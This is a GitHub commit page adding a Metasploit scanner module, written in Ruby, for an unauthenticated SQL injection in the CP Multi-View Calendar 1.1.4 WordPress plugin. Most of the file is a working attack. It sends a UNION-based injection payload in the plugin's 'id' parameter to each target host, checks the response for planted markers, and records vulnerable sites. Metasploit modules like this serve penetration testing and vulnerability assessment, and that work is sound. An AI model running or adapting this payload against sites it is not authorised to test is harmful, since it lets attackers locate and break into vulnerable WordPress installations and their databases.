Skip to content

Commit 75b88f1

Browse files
committed
Create wordpress_cp_calendar_sqli.rb
1 parent c820431 commit 75b88f1

File tree

1 file changed

+74
-0
lines changed

1 file changed

+74
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'uri'
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner',
18+
'Description' => %q{
19+
This module will scan given instances for an unauthenticated SQL injection
20+
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.
21+
},
22+
'Author' =>
23+
[
24+
'Joaquin Ramirez Martinez', #discovery
25+
'bperry' #metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
[ 'EDB', '36243']
31+
],
32+
'DisclosureDate' => 'Mar 03 2015'))
33+
34+
register_options([
35+
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
right_marker = Rex::Text.rand_text_alpha(5)
41+
left_marker = Rex::Text.rand_text_alpha(5)
42+
flag = Rex::Text.rand_text_alpha(5)
43+
44+
vprint_status("#{peer} - Checking host")
45+
46+
res = send_request_cgi({
47+
'uri' => normalize_uri(target_uri.path, '/'),
48+
'vars_get' => {
49+
'action' => 'data_management',
50+
'cpmvc_do_action' => 'mvparse',
51+
'f' => 'edit',
52+
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"
53+
}
54+
})
55+
56+
unless res && res.body
57+
vprint_error("#{peer} - Server did not respond in an expected way")
58+
return
59+
end
60+
61+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
62+
63+
if result
64+
print_good("#{peer} - Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")
65+
report_vuln({
66+
:host => rhost,
67+
:port => rport,
68+
:proto => 'tcp',
69+
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",
70+
:refs => self.references.select { |ref| ref.ctx_val == "36243" }
71+
})
72+
end
73+
end
74+
end

0 commit comments

Comments
 (0)